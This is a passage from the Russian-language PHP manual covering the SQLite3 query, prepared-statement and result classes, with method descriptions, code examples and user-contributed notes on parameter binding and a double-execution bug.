$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
$stmt->bindValue(':id', 1, SQLITE3_INTEGER);

$result = $stmt->execute();
var_dump($result->fetchArray());
?>

Смотрите также

  • SQLite3Stmt::paramCount() - Возвращает количество параметров в подготовленном запросе
  • SQLite3Stmt::bindValue() - Связывает значение параметра с переменной подготовленного запроса
  • SQLite3Stmt::bindParam() - Связывает параметр с переменной подготовленного запроса

User Contributed Notes

Venkata Subbaraju 22-Jan-2016 12:27
Without checking the return value of "prepare" if "exec" is used then it will cause Fatal Error.

"PHP Fatal error:  Call to a member function execute() on a non-object "

To avoid this error,need to check return value as following:

<?php
 $db = new SQLite3('school.db');
 if($stmt = $db->prepare('SELECT id,student_name FROM classTen '))
 {
         $result = $stmt->execute();
         $names=array();
         while($arr=$result->fetchArray(SQLITE3_ASSOC))
         {
          $names[$arr['id']]=$arr['student_name'];
         }
}
?>


Выполняет SQL-запрос

  • « SQLite3::prepare
  • SQLite3::querySingle »
  • PHP Manual
  • SQLite3
  • Выполняет SQL-запрос

SQLite3::query

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::query — Выполняет SQL-запрос

Описание

public SQLite3::query(string $query): SQLite3Result|false

Выполняет SQL-запрос и возвращает объект SQLite3Result. Если запрос не возвращает результат (например, запрос типа DLM), то возвращённый объект SQLite3Result бесполезен. Для подобных запросов используйте метод SQLite3::exec().

Список параметров

query

SQL-запрос для выполнения.

Возвращаемые значения

Возвращает объект SQLite3Result или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SQLite3::query()

<?php
$db = new SQLite3('mysqlitedb.db');

$results = $db->query('SELECT bar FROM foo');
while ($row = $results->fetchArray()) {
var_dump($row);
}
?>

User Contributed Notes

paule-panke at example dot com 12-Feb-2017 01:55
Check with SQLite3Result::numColumns() for an empty result before calling SQLite3Result::fetchArray().

In contrast to the documentation SQLite3::query() always returns a SQLite3Result instance, not only for queries returning rows (SELECT, EXPLAIN). Each time SQLite3Result::fetchArray() is called on a result from a result-less query internally the query is executed again, which will most probably break your application.
For a framwork or API it's not possible to know in before whether or not a query will return rows (SQLite3 supports multi-statement queries). Therefore the argument "Don't execute query('CREATE ...')" is not valid.
bohwaz 13-Mar-2013 11:47
The recommended way to do a SQLite3 query is to use a statement. For a table creation, a query might be fine (and easier) but for an insert, update or select, you should really use a statement, it's really easier and safer as SQLite will escape your parameters according to their type. SQLite will also use less memory than if you created the whole query by yourself. Example:

<?php

$db = new SQLite3;
$statement = $db->prepare('SELECT * FROM table WHERE id = :id;');
$statement->bindValue(':id', $id);

$result = $statement->execute();

?>

You can also re-use a statement and change its parameters, just do $statement->reset(). Finally don't forget to close a statement when you don't need it anymore as it will free some memory.


Выполняет запрос и возвращает одиночный результат

  • « SQLite3::query
  • SQLite3::setAuthorizer »
  • PHP Manual
  • SQLite3
  • Выполняет запрос и возвращает одиночный результат

SQLite3::querySingle

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::querySingle — Выполняет запрос и возвращает одиночный результат

Описание

public SQLite3::querySingle(string $query, bool $entireRow = false): mixed

Выполняет запрос и возвращает одиночный результат.

Список параметров

query

SQL запрос для выполнения.

entireRow

По умолчанию, функция querySingle() возвращает значение первого столбца, возвращаемого запросом. Если параметр entireRow является true, то запрос возвращает массив всего первого ряда.

Возвращаемые значения

Возвращает значение первого столбца результатов или массив всей первой строки (если параметр entireRow является true).

Если запрос корректный, но результат пуст, то вернётся null, если параметр entireRow является false, в противном случае возвращается пустой массив.

Неверный или отсутствующий запрос возвращает false.

Примеры

Пример #1 Пример использования SQLite3::querySingle()

<?php
$db = new SQLite3('mysqlitedb.db');

var_dump($db->querySingle('SELECT username FROM user WHERE userid=1'));
print_r($db->querySingle('SELECT username, email FROM user WHERE userid=1', true));
?>

Результатом выполнения данного примера будет что-то подобное:

string(5) "Scott"
Array
(
    [username] => Scott
    [email] => scott@example.com
)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает callback-функцию, которая будет использоваться в качестве авторизатора для ограничения действий выражения

  • « SQLite3::querySingle
  • SQLite3::version »
  • PHP Manual
  • SQLite3
  • Устанавливает callback-функцию, которая будет использоваться в качестве авторизатора для ограничения действий выражения

SQLite3::setAuthorizer

(PHP 8)

SQLite3::setAuthorizer — Устанавливает callback-функцию, которая будет использоваться в качестве авторизатора для ограничения действий выражения

Описание

public SQLite3::setAuthorizer(?callable $callback): bool

Устанавливает callback-функцию, которая будет вызываться SQLite каждый раз при выполнении действия (чтение, удаление, модификация и т.д.). Это используется при подготовке SQL-выражения из ненадёжного источника, чтобы гарантировать, что SQL-выражения не будут пытаться получить доступ к данным, которые им не разрешено видеть, или чтобы они не пытались выполнить вредоносные выражения, которые повреждают базу данных. Например, приложение может позволить пользователю вводить произвольные SQL-запросы для выполнения в базе данных. Но приложение не хочет, чтобы пользователь мог вносить произвольные изменения в базу данных. Тогда можно установить авторизатор, который запрещает использование любых выражений, кроме SELECT, пока готовится введённый пользователем SQL-запрос.

Callback-авторизатор может бывать вызван несколько раз для каждого выражения, подготовленного SQLite. Запросы SELECT или UPDATE будут вызывать авторизатор для каждой считываемой или модифицируемой колонки.

При вызове авторизатора может использоваться до пяти параметров. Первый параметр передаётся всегда, его тип - целое число (int) (код действия), совпадающий с константой SQLite3. Другие параметры передаются только для некоторых действий. Данная таблица описывает второй и третий параметры в соответствии с действием:

Список кодов действия и параметров
Действие | Второй параметр | Третий параметр
SQLite3::CREATE_INDEX | Имя индекса | Имя таблицы
SQLite3::CREATE_TABLE | Имя таблицы | null
SQLite3::CREATE_TEMP_INDEX | Имя индекса | Имя таблицы
SQLite3::CREATE_TEMP_TABLE | Имя таблицы | null
SQLite3::CREATE_TEMP_TRIGGER | Имя триггера | Имя таблицы
SQLite3::CREATE_TEMP_VIEW | Имя представления | null
SQLite3::CREATE_TRIGGER | Имя триггера | Имя таблицы
SQLite3::CREATE_VIEW | Имя представления | null
SQLite3::DELETE | Имя таблицы | null
SQLite3::DROP_INDEX | Имя индекса | Имя таблицы
SQLite3::DROP_TABLE | Имя таблицы | null
SQLite3::DROP_TEMP_INDEX | Имя индекса | Имя таблицы
SQLite3::DROP_TEMP_TABLE | Имя таблицы | null
SQLite3::DROP_TEMP_TRIGGER | Имя триггера | Имя таблицы
SQLite3::DROP_TEMP_VIEW | Имя представления | null
SQLite3::DROP_TRIGGER | Имя триггера | Имя таблицы
SQLite3::DROP_VIEW | Имя представления | null
SQLite3::INSERT | Имя таблицы | null
SQLite3::PRAGMA | Имя pragma | Первый аргумент, переданный pragma, или null
SQLite3::READ | Имя таблицы | Имя колонки
SQLite3::SELECT | null | null
SQLite3::TRANSACTION | Операция | null
SQLite3::UPDATE | Имя таблицы | Имя колонки
SQLite3::ATTACH | Имя файла | null
SQLite3::DETACH | Имя базы данных | null
SQLite3::ALTER_TABLE | Имя базы данных | Имя таблицы
SQLite3::REINDEX | Имя индекса | null
SQLite3::ANALYZE | Имя таблицы | null
SQLite3::CREATE_VTABLE | Имя таблицы | Имя модуля
SQLite3::DROP_VTABLE | Имя таблицы | Имя модуля
SQLite3::FUNCTION | null | Имя функции
SQLite3::SAVEPOINT | Операция | Имя точки сохранения
SQLite3::RECURSIVE | null | null

Четвёртым параметром будет имя базы данных ("main", "temp" и т.д.), если необходимо.

Пятый параметр callback-авторизатора - имя самого внутреннего триггера или представления, ответственного за попытку получения доступа, или null, если эта попытка получения доступа произведена напрямую из кода SQL верхнего уровня.

Когда callback-функция возвращает SQLite3::OK, это значит, что запрошенная операция принята. Когда callback-функция возвращает SQLite3::DENY, вызов, запустивший авторизатор, потерпит неудачу с сообщением об ошибке, объясняющим, что доступ запрещён.

Если код действия - SQLite3::READ, и callback-функция возвращает SQLite3::IGNORE, то подготовленное выражение составляется для замены на null значения колонки таблицы, которое бы считывалось, если бы вернулся код SQLite3::OK. Возврат SQLite3::IGNORE может использоваться, чтобы запретить недоверенному пользователю доступ к отдельным колонкам таблицы.

Когда на таблицу ссылаются через SELECT, но из неё не извлекается ни одного значения колонок, (например, в запросе "SELECT count(*) FROM table"), то callback-авторизатор SQLite3::READ вызывается один раз для этой таблицы с именем колонки, которое равно пустой строке.

Если код действия - SQLite3::DELETE, и callback-функция возвращает SQLite3::IGNORE, тогда операция DELETE продолжает свою работу, но с выключенной оптимизацией удаления, и все строки удаляются по отдельности.

В соединении с базой данных одновременно может использоваться только один авторизатор. Каждый вызов SQLite3::setAuthorizer() перезаписывает предыдущий. Отключить авторизатор можно, передав null вместо callback-функции. По умолчанию авторизатор выключен.

Callback-авторизатор не должен делать ничего, что изменяет подключение к базе данных, которое вызвало callback-авторизатор.

Заметьте, что авторизатор вызывается только тогда, когда выражение подготавливается, а не тогда, когда оно исполняется.

Более подробную информацию можно найти в » Документации SQLite3.

Список параметров

callback

Функция callable для вызова.

Если передан null, то текущий callback-авторизатор будет отключён.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Этот метод не вызывает никаких ошибок, но если авторизатор включён и возвращает некорректное значение, то при подготовке выражения будет вызвана ошибка (или выброшено исключение, в зависимости от использования метода SQLite3::enableExceptions()).

Примеры

Пример #1 Пример использования SQLite3::setAuthorizer()

В данном примере разрешён доступ только для чтения, и только некоторые из колонок таблицы users будут возвращены. Остальные колонки будут заменены на null.

<?php
$db = new SQLite3('data.sqlite');
$db->exec('CREATE TABLE users (id, name, password);');
$db->exec('INSERT INTO users VALUES (1, \'Pauline\', \'Snails4eva\');');

$allowed_columns = ['id', 'name'];

$db->setAuthorizer(function (int $action, ...$args) use ($allowed_columns) {
if ($action === SQLite3::READ) {
list($table, $column) = $args;

if ($table === 'users' && in_array($column, $allowed_columns) {
return SQLite3::OK;
}

return SQLite3::IGNORE;
}

return SQLite3::DENY;
});

print_r($db->querySingle('SELECT * FROM users WHERE id = 1;'));

Результат выполнения данного примера:

Array
(
    [id] => 1
    [name] => Pauline
    [password] =>
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию библиотеки SQLite3, содержит как строковую константу, так и числовую

  • « SQLite3::setAuthorizer
  • SQLite3Stmt »
  • PHP Manual
  • SQLite3
  • Возвращает версию библиотеки SQLite3, содержит как строковую константу, так и числовую

SQLite3::version

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::version — Возвращает версию библиотеки SQLite3, содержит как строковую константу, так и числовую

Описание

public static SQLite3::version(): array

Возвращает версию библиотеки SQLite3, содержит как строковую константу, так и числовую.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив с ключами "versionString" и "versionNumber".

Примеры

Пример #1 Пример использования SQLite3::version()

<?php
print_r(SQLite3::version());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [versionString] => 3.5.9
    [versionNumber] => 3005009
)

User Contributed Notes

There are no user contributed notes for this page.


Класс SQLite3Stmt

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс, предоставляющий доступ к подготовленным запросам в модуле SQLite 3.

Обзор классов

class SQLite3Stmt {
/* Методы */
private __construct(SQLite3 $sqlite3, string $query)
public bindParam(string|int $param, mixed &$var, int $type = SQLITE3_TEXT): bool
public bindValue(string|int $param, mixed $value, int $type = SQLITE3_TEXT): bool
public clear(): bool
public close(): bool
public execute(): SQLite3Result|false
public getSQL(bool $expand = false): string|false
public paramCount(): int
public readOnly(): bool
public reset(): bool
}

Содержание

  • SQLite3Stmt::bindParam — Связывает параметр с переменной подготовленного запроса
  • SQLite3Stmt::bindValue — Связывает значение параметра с переменной подготовленного запроса
  • SQLite3Stmt::clear — Удаляет все текущие привязанные параметры
  • SQLite3Stmt::close — Закрывает подготовленный запрос
  • SQLite3Stmt::__construct — Конструктор класса SQLite3Stmt
  • SQLite3Stmt::execute — Выполняет подготовленный запрос и возвращает объект с результирующим набором
  • SQLite3Stmt::getSQL — Получить SQL-запрос в виде строки из запроса
  • SQLite3Stmt::paramCount — Возвращает количество параметров в подготовленном запросе
  • SQLite3Stmt::readOnly — Проверяет, является ли подготовленный запрос только для чтения
  • SQLite3Stmt::reset — Сбрасывает подготовленный запрос

User Contributed Notes

There are no user contributed notes for this page.


Связывает параметр с переменной подготовленного запроса

  • « SQLite3Stmt
  • SQLite3Stmt::bindValue »
  • PHP Manual
  • SQLite3Stmt
  • Связывает параметр с переменной подготовленного запроса

SQLite3Stmt::bindParam

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::bindParam — Связывает параметр с переменной подготовленного запроса

Описание

public SQLite3Stmt::bindParam(string|int $param, mixed &$var, int $type = SQLITE3_TEXT): bool

Связывает параметр с переменной подготовленного запроса.

Предостережение

До PHP 7.2.14 и 7.3.0, SQLite3Stmt::reset() должен вызываться до первого вызова SQLite3Stmt::execute(), если надо, чтобы связанное значение корректно обновлялось при последующих вызовах SQLite3Stmt::execute(). Если метод SQLite3Stmt::reset() не вызывался, то связанное значение не будет изменяться, даже если значение, присвоенное переменной, переданной SQLite3Stmt::bindParam(), изменилось или снова был вызван метод SQLite3Stmt::bindParam().

Список параметров

param

Либо строка (string) (для именованных параметров), либо целое число (int) (для положительных параметров), идентифицирующая переменную подготовленного запроса, к которому должно быть привязано значение. Если именованный параметр не начинается с двоеточия ((:)) или знака @, автоматически добавляется двоеточие (:). Положительные параметры начинаются с 1.

var

Параметр для привязки к переменной подготовленного запроса.

type

Тип данных параметра для привязки.

  • SQLITE3_INTEGER: Значение является целым числом со знаком, которое хранится в 1, 2, 3, 4, 6 или 8 байт в зависимости от величины значения.

  • SQLITE3_FLOAT: Значение является числом с плавающей точкой, которое хранится в виде 8-байтного числа IEEE с плавающей точкой.

  • SQLITE3_TEXT: Значение является текстовой строкой, которое хранится в кодировке базы данных (UTF-8, UTF-16BE или UTF-16-LE).

  • SQLITE3_BLOB: Значение является большим двоичным объектом (blob) данных, который хранится точно так же, как и входные данные.

  • SQLITE3_NULL: Значение является NULL-значением.

В PHP 7.0.7, если type опущен, то он автоматически определяется из типа var: bool и int рассматриваются как SQLITE3_INTEGER, float как SQLITE3_FLOAT, null как SQLITE3_NULL и все остальные как SQLITE3_TEXT. Раньше, если тип опущен, то по умолчанию использовался SQLITE3_TEXT.

Замечание:

Если var равен null, он всегда обрабатывается как SQLITE3_NULL, независимо от заданного type.

Возвращаемые значения

Возвращает true, если параметр привязан к переменной подготовленного запроса, false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.4.0 | Параметр param теперь поддерживает нотацию @param.

Примеры

Пример #1 Пример использования SQLite3Stmt::bindParam()

В примере показано, как один подготовленный запрос с привязкой одного параметра может использоваться для вставки нескольких строк с различными значениями.

<?php
$db = new SQLite3(':memory:');
$db->exec("CREATE TABLE foo (bar TEXT)");

$stmt = $db->prepare("INSERT INTO foo VALUES (:bar)");
$stmt->bindParam(':bar', $bar, SQLITE3_TEXT);

$bar = 'baz';
$stmt->execute();

$bar = 42;
$stmt->execute();

$res = $db->query("SELECT * FROM foo");
while (($row = $res->fetchArray(SQLITE3_ASSOC))) {
var_dump($row);
}
?>

Результат выполнения данного примера:

array(1) {
  ["bar"]=>
  string(3) "baz"
}
array(1) {
  ["bar"]=>
  string(2) "42"
}

Смотрите также

  • SQLite3Stmt::bindValue() - Связывает значение параметра с переменной подготовленного запроса
  • SQLite3::prepare() - Подготавливает SQL-запрос для выполнения

User Contributed Notes

Anonymous 19-Oct-2014 06:31
Note that this bindParam needs a variable as the second parameter.
Use bindValue if you want to bind a value, such an array item.


Связывает значение параметра с переменной подготовленного запроса

  • « SQLite3Stmt::bindParam
  • SQLite3Stmt::clear »
  • PHP Manual
  • SQLite3Stmt
  • Связывает значение параметра с переменной подготовленного запроса

SQLite3Stmt::bindValue

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::bindValue — Связывает значение параметра с переменной подготовленного запроса

Описание

public SQLite3Stmt::bindValue(string|int $param, mixed $value, int $type = SQLITE3_TEXT): bool

Связывает значение параметра с переменной подготовленного запроса.

Предостережение

До PHP 7.2.14 и 7.3.0, если выполнен запрос, необходимо вызвать метод SQLite3Stmt::reset() для того, чтобы можно было поменять значения связанных параметров.

Список параметров

param

Либо строка (string) (для именованных параметров), либо целое число (int) (для положительных параметров), идентифицирующая переменную подготовленного запроса, к которому должно быть привязано значение. Если именованный параметр не начинается с двоеточия ((:)) или знака @, автоматически добавляется двоеточие (:). Положительные параметры начинаются с 1.

value

Значение для привязки к переменной подготовленного запроса.

type

Тип данных значения для привязки.

  • SQLITE3_INTEGER: Значение является целым числом со знаком, которое хранится в 1, 2, 3, 4, 6 или 8 байт в зависимости от величины значения.

  • SQLITE3_FLOAT: Значение является числом с плавающей точкой, которое хранится в виде 8-байтного числа IEEE с плавающей точкой.

  • SQLITE3_TEXT: Значение является текстовой строкой, которое хранится в кодировке базы данных (UTF-8, UTF-16BE или UTF-16-LE).

  • SQLITE3_BLOB: Значение является большим двоичным объектом (blob) данных, который хранится точно так же, как и входные данные.

  • SQLITE3_NULL: Значение является NULL-значением.

В PHP 7.0.7, если type опущен, то он автоматически определяется из типа param: bool и int рассматриваются как SQLITE3_INTEGER, float как SQLITE3_FLOAT, null как SQLITE3_NULL и всех остальных как SQLITE3_TEXT. Раньше, если тип опущен, он по умолчанию использовался SQLITE3_TEXT.

Замечание:

Если param равен null, он всегда обрабатывается как SQLITE3_NULL, независимо от заданного type.

Возвращаемые значения

Возвращает true, если параметр привязан к переменной подготовленного запроса или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.4.0 | Параметр param теперь поддерживает нотацию @param.

Примеры

Пример #1 Пример использования SQLite3Stmt::bindValue()

<?php
$db = new SQLite3(':memory:');

$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db->exec("INSERT INTO foo (id, bar) VALUES (1, 'This is a test')");

$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
$stmt->bindValue(':id', 1, SQLITE3_INTEGER);

$result = $stmt->execute();
var_dump($result->fetchArray(SQLITE3_ASSOC));
?>

Результат выполнения данного примера:

array(1) {
  ["bar"]=>
  string(14) "This is a test"
}

Смотрите также

  • SQLite3Stmt::bindParam() - Связывает параметр с переменной подготовленного запроса
  • SQLite3::prepare() - Подготавливает SQL-запрос для выполнения

User Contributed Notes

vaibhavatul47 at gmail dot com 13-Apr-2016 12:42
I used following logic to prepare statements, It handles both Values and Arrays ( taking help from bohwaz note) :

<?php
    function getArgType($arg) {
        switch (gettype($arg)) {
            case 'double':  return SQLITE3_FLOAT;
            case 'integer': return SQLITE3_INTEGER;
            case 'boolean': return SQLITE3_INTEGER;
            case 'NULL':    return SQLITE3_NULL;
            case 'string':  return SQLITE3_TEXT;
            default:
                throw new \InvalidArgumentException('Argument is of invalid type '.gettype($arg));
        }
    }

foreach ($params as $index => $val) {
                // indexing start from 1 in Sqlite statement
                if (is_array($val)) {
                    $ok = $stmt->bindParam($index + 1, $val);
                } else {
                    $ok = $stmt->bindValue($index + 1, $val, getArgType($val));
                }

                if (!$ok) {
                    throw new Exception("Unable to bind param: $val");
                }
            }
?>
andrevanzuydam at gmail dot com 06-Jul-2015 01:41
I just want to say again,

Numbering for parameters starts at ONE!

This has caught me out quite a few times!
bohwaz 18-Jan-2015 04:49
It might be a good idea to feed bindValue the type of the variable manually, or you might encounter weird stuff as the passed value is often treated as SQLITE3_TEXT and results in buggy queries.

For example:
<?php
$st = $db->prepare('SELECT * FROM test WHERE (a+1) = ?');
$st->bindValue(1, 2);
?>

Will never return any result as it is treated by SQLite as if the query was 'SELECT * FROM test WHERE (a+1) = "2"'. Instead you have to set the type manually:

<?php
$st = $db->prepare('SELECT * FROM test WHERE (a+1) = ?');
$st->bindValue(1, 2, \SQLITE3_INTEGER);
?>

And it will work. This bug is reported in https://bugs.php.net/bug.php?id=68849

Here is a simple function to help you make bindValue work correctly:

<?php
function getArgType($arg)
{
    switch (gettype($arg))
    {
        case 'double': return SQLITE3_FLOAT;
        case 'integer': return SQLITE3_INTEGER;
        case 'boolean': return SQLITE3_INTEGER;
        case 'NULL': return SQLITE3_NULL;
        case 'string': return SQLITE3_TEXT;
        default:
            throw new \InvalidArgumentException('Argument is of invalid type '.gettype($arg));
    }
}
?>
zeebinz at gmail dot com 23-Jul-2010 07:54
Note that this also works with positional placeholders using the '?' token:

<?php

$stmt = $db->prepare('SELECT * FROM mytable WHERE foo = ? AND bar = ?');
$stmt->bindValue(1, 'somestring', SQLITE3_TEXT);
$stmt->bindValue(2, 42, SQLITE3_INTEGER);

?>

Positional numbering starts at 1.


Удаляет все текущие привязанные параметры

  • « SQLite3Stmt::bindValue
  • SQLite3Stmt::close »
  • PHP Manual
  • SQLite3Stmt
  • Удаляет все текущие привязанные параметры

SQLite3Stmt::clear

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::clear — Удаляет все текущие привязанные параметры

Описание

public SQLite3Stmt::clear(): bool

Удаляет все текущие привязанные параметры (устанавливает их на значение null).

Предостережение

Метод необходимо использовать с SQLite3Stmt::reset(). Если используется один, любой вызов SQLite3Stmt::bindValue() или SQLite3Stmt::bindParam() не будет иметь никакого эффекта, и все привязанные параметры будут иметь значение null.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешной очистки привязанных параметров и false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Закрывает подготовленный запрос

  • « SQLite3Stmt::clear
  • SQLite3Stmt::__construct »
  • PHP Manual
  • SQLite3Stmt
  • Закрывает подготовленный запрос

SQLite3Stmt::close

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::close — Закрывает подготовленный запрос

Описание

public SQLite3Stmt::close(): bool

Закрывает подготовленный запрос.

Замечание: Обратите внимание, что все объекты SQLite3Result, полученные при выполнении этого подготовленного запроса будут признаны недействительными при закрытии этого запроса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса SQLite3Stmt

  • « SQLite3Stmt::close
  • SQLite3Stmt::execute »
  • PHP Manual
  • SQLite3Stmt
  • Конструктор класса SQLite3Stmt

SQLite3Stmt::__construct

(Информация о версии неизвестна, возможно, только в Git)

SQLite3Stmt::__construct — Конструктор класса SQLite3Stmt

Описание

private SQLite3Stmt::__construct(SQLite3 $sqlite3, string $query)

Экземпляры SQLite3Stmt создаются с помощью SQLite3::prepare().

Список параметров

sqlite3

query

User Contributed Notes

There are no user contributed notes for this page.


Выполняет подготовленный запрос и возвращает объект с результирующим набором

  • « SQLite3Stmt::__construct
  • SQLite3Stmt::getSQL »
  • PHP Manual
  • SQLite3Stmt
  • Выполняет подготовленный запрос и возвращает объект с результирующим набором

SQLite3Stmt::execute

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::execute — Выполняет подготовленный запрос и возвращает объект с результирующим набором

Описание

public SQLite3Stmt::execute(): SQLite3Result|false

Выполняет подготовленный запрос и возвращает объект с результирующим набором.

Предостережение

Объекты результирующего набора, полученные при вызове этого метода для одного и того же объекта подготовленного запроса, не являются независимыми, а используют одну и ту же базовую структуру. Поэтому рекомендуется вызвать SQLite3Result::finalize(), прежде чем вызывать SQLite3Stmt::execute() на том же объекте подготовленного запроса снова.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект SQLite3Result в случае успешного выполнения подготовленного запроса и false в случае возникновения ошибки.

Смотрите также

  • SQLite3::prepare() - Подготавливает SQL-запрос для выполнения
  • SQLite3Stmt::bindValue() - Связывает значение параметра с переменной подготовленного запроса
  • SQLite3Stmt::bindParam() - Связывает параметр с переменной подготовленного запроса

User Contributed Notes

macguru 28-May-2017 08:08
I had luck in avoiding prepared statements from executing multiple times by finalize()'ing the result after execution.

$stmt->execute()->finalize();

Hope this helps others.
gmail@asmqb7 29-May-2016 07:08
There's currently an issue in the SQLite3 PHP binding (not SQLite3 itself) that causes all queries to be executed twice. It has apparently existed for quite a while.

See here for more info: https://bugs.php.net/bug.php?id=64531

Before discovering the above, I posted this: http://stackoverflow.com/questions/36617708/odd-behavior-with-sqlite3-non-select-prepared-transactions-and-fetcharray (includes copy-paste bug demo)

Workaround: I strongly recommend wrapping any code that might run fetchArray() on non-SELECT query results inside a numColumns() check, like this:

<?php

$op = $db->prepare(...);

$r = $op->execute(); // query #1

if ($r->numColumns()) { // returns column count, here being used as true/false test
  while ($row = $r->fetchArray(SQLITE3_ASSOC)) { // query #2
    // your code here
  }
}

?>

To clarify:

- Query #1 is where the SQLite3 query is executed the first time, query #2 is where the query is executed again. Yes, *everything* is executed twice; this is the bug.

- If your code will only read from and not alter the database (so, a SELECT that won't cause database-altering triggers to run, for example), you're fine. Your query runs twice but it doesn't alter the result.

- If your code will write to the database - for example an INSERT - you MUST not run fetchArray() (and execute the query again) if the number of columns is zero.

- It's not documented in the manual but over here -http://php.net/manual/en/book.sqlite3.php#113144 - user 'bohwaz' mentions that there's also a SQLite3Stmt::readOnly() function since PHP 5.3.11 which will tell you if you just wrote to the DB. This is currently undocumented but might be a more appropriate alternative to numColumns() (I'm not sure what it does, it might be the same).

You might prefer PDO for higher-volume work with SQLite3. This binding is ironically lighter-weight and provides direct access to some SQLite3-specific primitives and behavior... but it runs all queries twice.

[[Note to moderators (this section may be deleted once it has been read; I'm also fine with feedback on the following):

- Please don't consider this comment a bug report - I just want others to be aware of this issue so they don't have to bumble around for hours scratching their heads. :P

- As of the submission date of this comment, there's a unapproved diff for this page stuck in DocBook so I can't add something like "due to bug #64531, you are recommended to wrap fetchArray() inside numColumns()...", which I think would carry more weight than this comment until this bug is fixed.]]


Получить SQL-запрос в виде строки из запроса

  • « SQLite3Stmt::execute
  • SQLite3Stmt::paramCount »
  • PHP Manual
  • SQLite3Stmt
  • Получить SQL-запрос в виде строки из запроса

SQLite3Stmt::getSQL

(PHP 7 >= 7.4.0, PHP 8)

SQLite3Stmt::getSQL — Получить SQL-запрос в виде строки из запроса

Описание

public SQLite3Stmt::getSQL(bool $expand = false): string|false

Возвращает строковое представление SQL-запроса для подготовленного запроса. Если параметр expand задан как false, будет возвращён не модифицированный SQL. Если же expand задан как true, все подставляемые параметры запроса будут заменены на конкретные значения, либо на NULL, если значения ещё не были привязаны.

Список параметров

expand

Заменять ли в возвращаемом SQL-запросе параметры на конкретные значения. true поддерживается только с libsqlite 3.14.

Возвращаемые значения

Возвращает SQL-запрос из подготовленного запроса или false в случае возникновения ошибки.

Ошибки

Если expand задан как true, но версия libsqlite ниже 3.14, будет вызвана ошибка уровня E_WARNING либо выброшено исключение Exception, в зависимости от настроек SQLite3::enableExceptions().

Примеры

Пример #1 Получение расширенного SQL-запроса

<?php
$db = new SQLite3(':memory:');
$stmt = $db->prepare("SELECT :a, ?, :c");
$stmt->bindValue(':a', 'foo');
$answer = 42;
$stmt->bindParam(2, $answer);
var_dump($stmt->getSQL(true));
?>

Результатом выполнения данного примера будет что-то подобное:

string(24) "SELECT 'foo', '42', NULL"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество параметров в подготовленном запросе

  • « SQLite3Stmt::getSQL
  • SQLite3Stmt::readOnly »
  • PHP Manual
  • SQLite3Stmt
  • Возвращает количество параметров в подготовленном запросе

SQLite3Stmt::paramCount

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::paramCount — Возвращает количество параметров в подготовленном запросе

Описание

public SQLite3Stmt::paramCount(): int

Возвращает количество параметров в подготовленном запросе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество параметров в подготовленном запросе.

Смотрите также

  • SQLite3::prepare() - Подготавливает SQL-запрос для выполнения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли подготовленный запрос только для чтения

  • « SQLite3Stmt::paramCount
  • SQLite3Stmt::reset »
  • PHP Manual
  • SQLite3Stmt
  • Проверяет, является ли подготовленный запрос только для чтения

SQLite3Stmt::readOnly

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

SQLite3Stmt::readOnly — Проверяет, является ли подготовленный запрос только для чтения

Описание

public SQLite3Stmt::readOnly(): bool

Возвращает, является ли подготовленный запрос определённо только для чтения. Запрос считается только для чтения, если он не вносит непосредственных изменений в содержимое файла базы данных. Обратите внимание, что пользовательские SQL-функции могут косвенно изменять базу данных в качестве побочного эффекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если запрос только для чтения, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает подготовленный запрос

  • « SQLite3Stmt::readOnly
  • SQLite3Result »
  • PHP Manual
  • SQLite3Stmt
  • Сбрасывает подготовленный запрос

SQLite3Stmt::reset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Stmt::reset — Сбрасывает подготовленный запрос

Описание

public SQLite3Stmt::reset(): bool

Сбрасывает подготовленный запрос в состояние до его выполнения. После сброса все привязки остаются неизменными.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае, если подготовленный запрос был успешно сброшен или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Класс SQLite3Result

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс, предоставляющий доступ к результирующему набору модуля SQLite 3.

Обзор классов

class SQLite3Result {
/* Методы */
private __construct()
public columnName(int $column): string|false
public columnType(int $column): int|false
public fetchArray(int $mode = SQLITE3_BOTH): array|false
public finalize(): bool
public numColumns(): int
public reset(): bool
}

Содержание

  • SQLite3Result::columnName — >Возвращает имя n-ого столбца
  • SQLite3Result::columnType — Возвращает тип n-ного столбца
  • SQLite3Result::__construct — Конструктор класса SQLite3Result
